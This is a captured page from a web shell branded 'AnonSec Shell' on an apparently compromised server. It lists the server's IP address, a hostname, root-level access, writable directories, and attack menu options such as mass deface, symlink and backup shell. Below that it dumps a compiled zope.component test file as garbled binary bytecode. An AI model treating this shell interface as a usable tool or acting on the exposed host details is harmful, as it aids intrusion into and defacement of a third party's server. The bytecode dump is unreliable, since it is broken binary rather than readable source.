AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/zope/component/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/zope/component/tests/__pycache__/test_interface.cpython-310.pyc
o

,�W�8�@s�dZddlZGdd�dej�ZGdd�dej�ZGdd�dej�ZGd	d
�d
ej�ZGdd�dej�ZGd
d�dej�ZGdd�dej�Z	Gdd�dej�Z
Gdd�dej�Zdd�ZdS)zTests for z.c.interface
�Nc@�LeZdZddlmZmZdd�Zdd�Zdd�Zd	d
�Z	dd�Z
d
d�ZdS)�Test_provideInterfacer��setUp�tearDowncO�ddlm}||i|��S)Nr)�provideInterface)�zope.component.interfacer)�self�args�kwr�r
�E/usr/lib/python3/dist-packages/zope/component/tests/test_interface.py�_callFUT�zTest_provideInterface._callFUTcCs|�t|jdt��dS)N�xxx)�assertRaises�	TypeErrorr�object�r
r
r
r�test_w_interface_not_IInterface�z5Test_provideInterface.test_w_interface_not_IInterfacecCsHddlm}ddlm}Gdd�d|�}|d�}|�t|jd||�dS)Nr��	Interface)�InterfaceClassc@�eZdZdS)zDTest_provideInterface.test_w_iface_type_not_IInterface.<locals>.IFooN��__name__�
__module__�__qualname__r
r
r
r�IFoo!�r �IBarr)�zope.interfacer�zope.interface.interfacerrrr)r
rrr r"r
r
r� test_w_iface_type_not_IInterfaces
z6Test_provideInterface.test_w_iface_type_not_IInterfacecCszddlm}ddlm}|�}Gdd�d|�}Gdd�dt�}|�d||�|�|�|��|�t	t
|�|���d�dS)	Nr��
IInterface��getGlobalSiteManagerc@r)z0Test_provideInterface.test_w_class.<locals>.IBarNrr
r
r
rr"*r!r"c@r)z/Test_provideInterface.test_w_class.<locals>.FooNrr
r
r
r�Foo,r!r*�)�zope.interface.interfacesr'�zope.component.globalregistryr)rr�assertFalse�
providedBy�assertEqual�len�list�getUtilitiesFor)r
r'r)�gsmr"r*r
r
r�test_w_class&sz"Test_provideInterface.test_w_classcCs�ddlm}ddlm}ddlm}|�}Gdd�d|�}Gdd�d|�}|�d	||�|�|�|��d
}|�|�	||�|u�dS)Nrrr&r(c@r)z=Test_provideInterface.test_wo_name_w_iface_type.<locals>.IFooNrr
r
r
rr 7r!r c@r)z=Test_provideInterface.test_wo_name_w_iface_type.<locals>.IBarNrr
r
r
rr"9r!r"r+�(zope.component.tests.test_interface.IFoo�
r#rr,r'r-r)r�
assertTruer/�
getUtility)r
rr'r)r4r r"�nmr
r
r�test_wo_name_w_iface_type2sz/Test_provideInterface.test_wo_name_w_iface_typecCsvddlm}ddlm}ddlm}|�}Gdd�d|�}|�d|�|�|�|��|j	|dd�}|�||u�dS)	Nrrr&r(c@r)z=Test_provideInterface.test_w_name_wo_ifact_type.<locals>.IFooNrr
r
r
rr Er!r �foo)�namer7)r
rr'r)r4r �
registeredr
r
r�test_w_name_wo_ifact_type@sz/Test_provideInterface.test_w_name_wo_ifact_typeN)rrr�zope.component.testingrrrrr%r5r;r?r
r
r
rrsrc@�4eZdZddlmZmZdd�Zdd�Zdd�Zd	S)
�Test_getInterfacerrcOr)Nr)�getInterface)r	rC)r
rrrCr
r
rrQrzTest_getInterface._callFUTcC�$ddlm}|�||jt�d�dS�Nr)�ComponentLookupError�nonesuch��zope.component.interfacesrFrrr�r
rFr
r
r�	test_missU�
�zTest_getInterface.test_misscCsdddlm}ddlm}ddlm}|�}Gdd�d|�}|�||d�|�|�t	�d�|u�dS)Nrrr&r(c@r)z(Test_getInterface.test_hit.<locals>.IFooNrr
r
r
rr _r!r r<)
r#rr,r'r-r)�registerUtilityr8rr�r
rr'r)r4r r
r
r�test_hitZszTest_getInterface.test_hitN�	rrrr@rrrrKrOr
r
r
rrBM�
rBc@rA)
�Test_queryInterfacerrcOr)Nr)�queryInterface)r	rS)r
rrrSr
r
rrirzTest_queryInterface._callFUTcCs"t�}|�|jd|d�|u�dS)NrG)�default)rr8r)r
�_DEFAULTr
r
rrKms�zTest_queryInterface.test_misscCs`ddlm}ddlm}ddlm}|�}Gdd�d|�}|�||d�|�|�d�|u�dS)Nrrr&r(c@r)z*Test_queryInterface.test_hit.<locals>.IFooNrr
r
r
rr wr!r r<)	r#rr,r'r-r)rMr8rrNr
r
rrOrszTest_queryInterface.test_hitNrPr
r
r
rrRerQrRc@�DeZdZddlmZmZdd�Zdd�Zdd�Zd	d
�Z	dd�Z
d
S)�Test_searchInterfacerrcOr)Nr)�searchInterface)r	rX)r
rrrXr
r
rr�rzTest_searchInterface._callFUTcC�|�|�t��g�dS�N�r0rrrr
r
r�
test_empty�rzTest_searchInterface.test_emptycCsbddlm}ddlm}ddlm}|�}Gdd�d|�}|�||d�|�|�t	��|g�dS)Nrrr&r(c@r)z@Test_searchInterface.test_no_search_string_no_base.<locals>.IFooNrr
r
r
rr �r!r r<�
r#rr,r'r-r)rMr0rrrNr
r
r�test_no_search_string_no_base��z2Test_searchInterface.test_no_search_string_no_basecCs�ddlm}ddlm}ddlm}|�}Gdd�d|�}Gdd�d|�}|�||d	�|�||d
�|�|�t	�d�|g�dS)Nrrr&r(c@r)z?Test_searchInterface.test_w_search_string_no_base.<locals>.IFooNrr
r
r
rr �r!r c@r)z?Test_searchInterface.test_w_search_string_no_base.<locals>.IBarNrr
r
r
rr"�r!r"r<�barr]�r
rr'r)r4r r"r
r
r�test_w_search_string_no_base��z1Test_searchInterface.test_w_search_string_no_basecCs�ddlm}ddlm}ddlm}|�}Gdd�d|�}Gdd�d|�}Gd	d
�d
|�}|�||d�|�||d�|�|jt	�|d
�|g�dS)Nrrr&r(c@r)z@Test_searchInterface.test_no_search_string_w_base.<locals>.IBaseNrr
r
r
r�IBase�r!rdc@r)z?Test_searchInterface.test_no_search_string_w_base.<locals>.IFooNrr
r
r
rr �r!r c@r)z?Test_searchInterface.test_no_search_string_w_base.<locals>.IBarNrr
r
r
rr"�r!r"r<r`��baser]�r
rr'r)r4rdr r"r
r
r�test_no_search_string_w_base��z1Test_searchInterface.test_no_search_string_w_baseN�rrrr@rrrr\r^rbrhr
r
r
rrW}�

rWc@rV)�Test_searchInterfaceIdsrrcOr)Nr)�searchInterfaceIds)r	rm)r
rrrmr
r
rr�rz Test_searchInterfaceIds._callFUTcCrYrZr[rr
r
rr\�rz"Test_searchInterfaceIds.test_emptycCsbddlm}ddlm}ddlm}|�}Gdd�d|�}|�||d�|�|�t	��dg�dS)Nrrr&r(c@r)zCTest_searchInterfaceIds.test_no_search_string_no_base.<locals>.IFooNrr
r
r
rr �r!r r<r]rNr
r
rr^�r_z5Test_searchInterfaceIds.test_no_search_string_no_basecCs�ddlm}ddlm}ddlm}|�}Gdd�d|�}Gdd�d|�}|�||d	�|�||d
�|�|�t	�d�d	g�dS)Nrrr&r(c@r)zBTest_searchInterfaceIds.test_w_search_string_no_base.<locals>.IFooNrr
r
r
rr �r!r c@r)zBTest_searchInterfaceIds.test_w_search_string_no_base.<locals>.IBarNrr
r
r
rr"�r!r"r<r`r]rar
r
rrb�rcz4Test_searchInterfaceIds.test_w_search_string_no_basecCs�ddlm}ddlm}ddlm}|�}Gdd�d|�}Gdd�d|�}Gd	d
�d
|�}|�||d�|�||d�|�|jt	�|d
�dg�dS)Nrrr&r(c@r)zCTest_searchInterfaceIds.test_no_search_string_w_base.<locals>.IBaseNrr
r
r
rrd�r!rdc@r)zBTest_searchInterfaceIds.test_no_search_string_w_base.<locals>.IFooNrr
r
r
rr �r!r c@r)zBTest_searchInterfaceIds.test_no_search_string_w_base.<locals>.IBarNrr
r
r
rr"�r!r"r<r`rer]rgr
r
rrh�riz4Test_searchInterfaceIds.test_no_search_string_w_baseNrjr
r
r
rrl�rkrlc@r)�Test_searchInterfaceUtilitiesrrcOr)Nr)�searchInterfaceUtilities)r	ro)r
rrror
r
rr�rz&Test_searchInterfaceUtilities._callFUTcCrYrZr[rr
r
rr\�rz(Test_searchInterfaceUtilities.test_emptycCsfddlm}ddlm}ddlm}|�}Gdd�d|�}|�||d�|�|�t	��d|fg�dS)Nrrr&r(c@r)zITest_searchInterfaceUtilities.test_no_search_string_no_base.<locals>.IFooNrr
r
r
rr �r!r r<r]rNr
r
rr^�sz;Test_searchInterfaceUtilities.test_no_search_string_no_basecCs�ddlm}ddlm}ddlm}|�}Gdd�d|�}Gdd�d|�}|�||d	�|�||d
�|�|�t	�d�d	|fg�dS)Nrrr&r(c@r)zHTest_searchInterfaceUtilities.test_w_search_string_no_base.<locals>.IFooNrr
r
r
rr �r!r c@r)zHTest_searchInterfaceUtilities.test_w_search_string_no_base.<locals>.IBarNrr
r
r
rr"�r!r"r<r`r]rar
r
rrb�s z:Test_searchInterfaceUtilities.test_w_search_string_no_basecCs�ddlm}ddlm}ddlm}|�}Gdd�d|�}Gdd�d|�}Gd	d
�d
|�}|�||d�|�||d�|�|jt	�|d
�d|fg�dS)Nrrr&r(c@r)zITest_searchInterfaceUtilities.test_no_search_string_w_base.<locals>.IBaseNrr
r
r
rrdr!rdc@r)zHTest_searchInterfaceUtilities.test_no_search_string_w_base.<locals>.IFooNrr
r
r
rr 
r!r c@r)zHTest_searchInterfaceUtilities.test_no_search_string_w_base.<locals>.IBarNrr
r
r
rr"r!r"r<r`rer]rgr
r
rrhs"z:Test_searchInterfaceUtilities.test_no_search_string_w_basecCs�ddlm}ddlm}ddlm}|�}Gdd�d|�}Gdd�d|�}|�||d	�|�||d
�|�|jt	�|d�d	|fg�dS)Nrrr&r(c@r)zPTest_searchInterfaceUtilities.test_no_search_string_w_base_is_same.<locals>.IFooNrr
r
r
rr r!r c@r)zPTest_searchInterfaceUtilities.test_no_search_string_w_base_is_same.<locals>.IBarNrr
r
r
rr"r!r"r<r`rer]rar
r
r�$test_no_search_string_w_base_is_sames"zBTest_searchInterfaceUtilities.test_no_search_string_w_base_is_sameN)rrrr@rrrr\r^rbrhrpr
r
r
rrn�s

rnc@s,eZdZdd�Zdd�Zdd�Zdd�Zd	S)
�Test_getInterfaceAllDocscOr)Nr)�getInterfaceAllDocs)r	rr)r
rrrrr
r
rr"rz!Test_getInterfaceAllDocs._callFUTcCs&Gdd�dt�}|�|�|�d�dS)Nc@seZdZdZdZdd�ZdS)z2Test_getInterfaceAllDocs.test_w_class.<locals>.Foo�	DOCSTRINGNcS�dS��BAZNr
rr
r
r�baz*�z6Test_getInterfaceAllDocs.test_w_class.<locals>.Foo.baz�rrr�__doc__r`rwr
r
r
rr*'sr*z1zope.component.tests.test_interface.foo
docstring)rr0r)r
r*r
r
rr5&s�z%Test_getInterfaceAllDocs.test_w_classcCs2ddlm}Gdd�d|�}|�|�|�d�dS)Nrrc@seZdZdZdS)zBTest_getInterfaceAllDocs.test_w_interface_no_members.<locals>.IFoorsN)rrrrzr
r
r
rr 2sr z2zope.component.tests.test_interface.ifoo
docstring)r#rr0r�r
rr r
r
r�test_w_interface_no_members0s
�z4Test_getInterfaceAllDocs.test_w_interface_no_memberscsBddlm�ddlm}G�fdd�d|�}|�|�|�d�dS)Nr��	Attributercs"eZdZdZ�dd�Zdd�ZdS)zATest_getInterfaceAllDocs.test_w_interface_w_members.<locals>.IFoorsr`zDo barcSrtrur
rr
r
rrw>rxzETest_getInterfaceAllDocs.test_w_interface_w_members.<locals>.IFoo.bazNryr
r}r
rr ;s
r z=zope.component.tests.test_interface.ifoo
docstring
do bar
baz)r#r~rr0rr{r
r}r�test_w_interface_w_members8s�z3Test_getInterfaceAllDocs.test_w_interface_w_membersN)rrrrr5r|rr
r
r
rrq s

rqc@�<eZdZddlmZmZdd�Zdd�Zdd�Zd	d
�Z	dS)�Test_nameToInterfacerrcOr)Nr)�nameToInterface)r	r�)r
rrr�r
r
rrKrzTest_nameToInterface._callFUTcCs|�|�t�d�du�dS�N�None)r8rrrr
r
r�test_w_NoneOsz Test_nameToInterface.test_w_NonecCrDrErHrJr
r
rrKRrLzTest_nameToInterface.test_misscCshddlm}ddlm}ddlm}|�}Gdd�d|�}|�||d�|�t�d�}|�	||u�dS)Nrrr&r(c@r)z+Test_nameToInterface.test_hit.<locals>.IFooNrr
r
r
rr \r!r r<)
r#rr,r'r-r)rMrrr8)r
rr'r)r4r �foundr
r
rrOWszTest_nameToInterface.test_hitN)
rrrr@rrrr�rKrOr
r
r
rr�Gsr�c@r�)�Test_interfaceToNamerrcOr)Nr)�interfaceToName)r	r�)r
rrr�r
r
rrgrzTest_interfaceToName._callFUTcCs|�|�t�d�d�dSr�r[rr
r
rr�ksz Test_interfaceToName.test_w_NonecCs6ddlm}Gdd�d|�}|�|�t�|�d�dS)Nrrc@r)z6Test_interfaceToName.test_w_unregistered.<locals>.IFooNrr
r
r
rr pr!r r6)r#rr0rrr{r
r
r�test_w_unregisteredns
�z(Test_interfaceToName.test_w_unregisteredcCsbddlm}ddlm}ddlm}|�}Gdd�d|�}|�||d�|�|�t	�|�d�dS)	Nrrr&r(c@r)z4Test_interfaceToName.test_w_registered.<locals>.IFooNrr
r
r
rr zr!r r<r6r]rNr
r
r�test_w_registeredus�z&Test_interfaceToName.test_w_registeredN)
rrrr@rrrr�r�r�r
r
r
rr�csr�c
CsRt�t�t�t�t�t�t�t�t�t�t�t�t�t�t	�t�t
�t�t�f	�SrZ)�unittest�	TestSuite�	makeSuiterrBrRrWrlrnrqr�r�r
r
r
r�
test_suite�s�r�)
rzr��TestCaserrBrRrWrlrnrqr�r�r�r
r
r
r�<module>s
:22?'

Anon7 - 2022
AnonSec Team